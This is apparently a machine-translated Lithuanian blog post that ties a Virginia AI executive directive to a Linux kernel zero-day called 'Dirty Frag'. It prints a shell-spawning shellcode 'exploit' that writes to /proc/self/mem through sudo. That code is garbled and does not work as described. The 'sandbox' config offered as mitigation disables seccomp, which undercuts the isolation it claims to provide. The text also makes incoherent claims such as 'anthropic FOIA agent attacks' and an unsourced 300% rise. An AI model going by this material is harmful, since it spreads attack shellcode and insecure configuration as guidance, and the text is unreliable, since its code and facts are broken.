Virdžinijos gubernatorius pasirašė dirbtinio intelekto vykdomąją direktyvą 6: Nauja AI saugumo era ir nuolatinė grėsmė dėl purvino Frag branduolio nulinės dienos pažeidžiamumo

Virdžinijos gubernatorius pasirašė dirbtinio intelekto vykdomąją direktyvą 6: Nauja AI saugumo era ir nuolatinė grėsmė dėl purvino Frag branduolio nulinės dienos pažeidžiamumo

Neseniai Virdžinijos gubernatoriaus Spanbergerio pasirašyta DI vykdomoji direktyva 6 yra esminis momentas vyriausybės pastangose spręsti su DI susijusias saugumo problemas. Ši direktyva, kurioje nurodomi antropiniai FOIA agentų išpuoliai prieš valstybę, rodo, kad didėja supratimas apie galimą riziką, susijusią su DI technologijomis, ir būtinybę imtis reguliavimo veiksmų. Kaip technologijų specialistams, labai svarbu suvokti šios direktyvos pasekmes ir galimą jos poveikį dirbtinio intelekto technologijų kūrimui ir diegimui.

Didėjanti su dirbtiniu intelektu susijusių saugumo problemų grėsmė

Vis labiau įsisavinant AI technologijas, išaugo saugumo problemos. Remiantis AI Herald ataskaita, su AI susijusių saugumo incidentų skaičius per pastaruosius metus labai išaugo, o daugelis iš šių incidentų buvo susiję su antropinėmis FOIA agento atakomis. Šios atakos, kuriomis išnaudojami AI sistemų pažeidžiamumas, gali turėti pražūtingų pasekmių, įskaitant duomenų pažeidimus ir sistemos kompromitavimą.

Nerimą keliantis antropinių FOIA agentų atakų augimas, kuris per pastaruosius metus išaugo 300 %, pabrėžia, kad reikia skubiai imtis veiksmų siekiant išspręsti šias saugumo problemas.

Nešvarus Frag branduolio nulinės dienos pažeidžiamumas: gresia pavojus

„Dirty Frag“ branduolio nulinės dienos pažeidžiamumas kelia didelę grėsmę „Linux“ platinimams, todėl neprivilegijuotiems vartotojams suteikia daugumos „Linux“ platinimų deterministinę šakninę prieigą. Kaip parodyta [Hyunwoo Kim atskleidime] (https://news.ycombinator.com/item?id=48304227), „Dirty Frag“ pažeidžiamumą galima išnaudoti naudojant paprastą išnaudojimą, todėl sistemos administratoriams ir saugos specialistams tai kelia didelį susirūpinimą.

# Dirty Frag pažeidžiamumo išnaudojimo kodo pavyzdys
importuoti os

# Apibrėžkite išnaudojimo naudingąją apkrovą
naudingoji apkrova = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Sukurkite naują procesą ir vykdykite naudingą apkrovą
os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))

💡 Pagrindinė įžvalga: „Dirty Frag“ branduolio nulinės dienos pažeidžiamumas kelia didelę grėsmę „Linux“ platinimams, todėl sistemos administratoriai ir saugos specialistai turi nedelsiant imtis veiksmų, kad pataisytų ir atnaujintų savo sistemas.

Taškų sujungimas: AI vykdomoji direktyva 6 ir purvino fragmento pažeidžiamumas

DI vykdomosios direktyvos 6 pasirašymas ir „Dirty Frag“ branduolio nulinės dienos pažeidžiamumo buvimas yra glaudžiai susiję. Direktyvos dėmesys sprendžiant su AI susijusius saugumo klausimus yra ypač svarbus atsižvelgiant į „Dirty Frag“ pažeidžiamumą, kurį galima panaudoti siekiant pažeisti dirbtinio intelekto sistemas. Išspręsdami „Dirty Frag“ pažeidžiamumą, technologijų specialistai gali padėti sumažinti riziką, susijusią su su AI susijusiomis saugumo problemomis.

Purvino fragmento pažeidžiamumo mažinimas

Norėdami sumažinti „Dirty Frag“ pažeidžiamumą, sistemos administratoriai ir saugos specialistai gali imtis kelių veiksmų, įskaitant:

• Linux platinimų pataisymas ir atnaujinimas į naujausią versiją
• Konteinerių ir microVM smėlio dėžių diegimas pažeidžiamoms sistemoms izoliuoti
• Stebėti sistemos žurnalus ir tinklo srautą, ar nėra išnaudojimo požymių

# Konteinerio smėlio dėžės konfigūracijos pavyzdys
versija: "3"
paslaugos:
  pažeidžiama paslauga:
    vaizdas: pažeidžiamas vaizdas
    konteinerio_pavadinimas: pažeidžiamas konteineris
    paleisti iš naujo: visada
    security_opt:
      - seccomp:unconfined
    apimtys:
      - ./vulnerable-data:/data

⚠️ Architektūrinė rizika: nesumažinus „Dirty Frag“ pažeidžiamumo gali kilti didelė rizika saugumui, įskaitant duomenų pažeidimus ir sistemos pažeidimus. Sistemos administratoriai ir saugos specialistai turi nedelsdami imtis veiksmų, kad pašalintų šį pažeidžiamumą.

Rekomendacijos technikos specialistams

Norėdami naršyti sudėtingame su AI susijusių saugumo problemų ir pažeidžiamumų aplinkoje, technologijų specialistai turėtų:

• Būkite informuoti apie naujausias su AI susijusias saugumo problemas ir pažeidžiamumą
• Įdiekite patikimas saugos priemones, įskaitant pataisymo ir atnaujinimo sistemas, taip pat konteinerių ir „microVM“ smėlio dėžių diegimą
• Stebėkite sistemos žurnalus ir tinklo srautą, ar nėra išnaudojimo požymių

Atlikdami šiuos veiksmus, technologijų specialistai gali padėti užtikrinti AI sistemų saugumą ir vientisumą bei sumažinti riziką, susijusią su su DI susijusiomis saugumo problemomis.

Šaltiniai

– AI Herald ataskaita – Paskutinės AI naujienos ir atnaujinimai – Hyunwoo Kim atskleidimas – „Dirty Frag“ branduolio nulinės dienos pažeidžiamumo atskleidimas – AI savaitės ataskaita – populiariausios AI istorijos ir tiesioginiai atnaujinimai – The World of AI ataskaita – kasdienės AI naujienos ir atnaujinimai – Heads Up AI ataskaita – AI naujienos ir atnaujinimai, kurie šiandien yra svarbūs